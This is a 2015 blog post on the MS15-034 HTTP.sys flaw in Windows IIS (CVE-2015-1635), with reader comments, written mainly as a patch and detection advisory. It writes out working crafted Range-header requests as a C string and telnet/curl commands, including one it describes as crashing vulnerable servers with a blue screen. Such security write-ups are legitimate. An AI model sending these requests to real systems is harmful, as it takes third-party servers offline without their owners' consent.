Remote Code Execution Via HTTP Request In IIS On Windows

Mattias Geniar, Wednesday, April 15, 2015 - last modified: Monday, April 20, 2015

Patching time.

A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is caused when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who successfully exploited this vulnerability could execute arbitrary code in the context of the System account.

To exploit this vulnerability, an attacker would have to send a specially crafted HTTP request to the affected system. The update addresses the vulnerability by modifying how the Windows HTTP stack handles requests.

Details are withheld for now, so it's a race: patch your systems before the attackers can reverse engineer the Windows patch.

More details: MS15-034
This vulnerability has been assigned a CVE: CVE-2015-1635

Update: exploit code is emerging

The first snippets of exploit code for MS15-034 are starting to show up, to scan for the vulnerability of a system.

char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


Detecting If You're Vulnerable

This remote scan is using the Range-header to trigger a buffer overflow and detect if the system is vulnerable or not.

$ telnet 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

The following curl command would mimic the same request.

$ curl -v -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

You should get a response saying "HTTP Error 400. The request has an invalid header name.". Anything else as a response, and your system may still be vulnerable.

The HTTP 'Ping Of Death' Request

The vulnerability allows for a Denial of Service in the form of a blue screen. It's nearly the same request as the check command above, but the range is different: Range: bytes=20-18446744073709551615.

$ curl -v -H "Host: irrelevant" -H "Range: bytes=20-18446744073709551615"
$ curl -v -H "Host: irrelevant" -H "Range: bytes=20-18446744073709551615"

A vulnerable Windows machine would get the request, roll over and die.

The Range-attack looks similar to a Denial-of-Service (DoS) attack on Apache a few years back that caused 100% CPU usage (dutch (NL) blogpost with more details).

When sending such a request, it can trigger a blue screen on the Windows Server, effectively rendering it offline.

The CVE and Microsoft Bulleting mention Remote Code Execution possibilities as well. Since the exact details of the patch aren't clear yet, it's unknown how to trigger that particular part of the vulnerability.

Hi! My name is Mattias Geniar. I'm a Support Manager at Nucleus Hosting in Belgium, a general web geek & public speaker. Currently working on DNS Spy & Oh Dear!. Follow me on Twitter as @mattiasgeniar.

Share this post

Did you like this post? Will you help me share it on social media? Thanks!


Benjamin Wednesday, April 15, 2015 at 21:14 - Reply

“Since the exact details of the patch aren’t clear yet, it’s unknown how to trigger that particular part of the vulnerability.”

To prevent the local server can deactivate the IIS Kernel Caching. Sucks performance but rules in case of security. The secret exploitation can be triggered by processing on an iis windows web-server a http request that runs through the iis encoding form. Only in special cases the issue is exploitable to fully elevate. The configuration of the full server needs to be done with iis and not with a connected component like plesk12 and co. The form that is send by the remote attacker needs to process through the iis service validation and in that special case it results in an exec.

– Benjamin

Ivan Wednesday, April 15, 2015 at 23:39 - Reply

It is not only about IIS. Various other SW use this API. For example Citrix Remote Receiver. And also various Antivirus Programs, use this HTTP interface – to be accessible from central management. Just try to execute “netsh show http urlacl” and you will see how many programs use it.

Wayne Friday, April 17, 2015 at 15:49 - Reply

does the Stop Error have any particular flavor to it? I’ve had a couple public facing webserver rollover with 0x00000019 codes since this was released. I have rolled back to a clean snapshot and patched but I’m just curious if the stop code may be indicative of exploitation.

Muhammad Azamuddin Friday, May 27, 2016 at 11:52 - Reply

Hi, How can I prevent from DoS? is there any configuration I should change? Thank you

Dave Sunday, June 19, 2016 at 07:35 - Reply

what i hate about Micorosft classification is they group DoS and RCE together…DoS is out there…but i’ve eyt to see an actual Remote Code Execution associated with the flaw.

ritesh Saturday, September 29, 2018 at 20:19 - Reply

how to exploit RCE using this u guys have command or procedure for it.

bebe Tuesday, December 4, 2018 at 03:01 - Reply

do you know RCE using this vulnerability?

Sam Monday, December 10, 2018 at 11:11 - Reply

does the Stop Error have any particular flavor to it?

Leave a Reply

Your email address will not be published. Required fields are marked *

Inbound links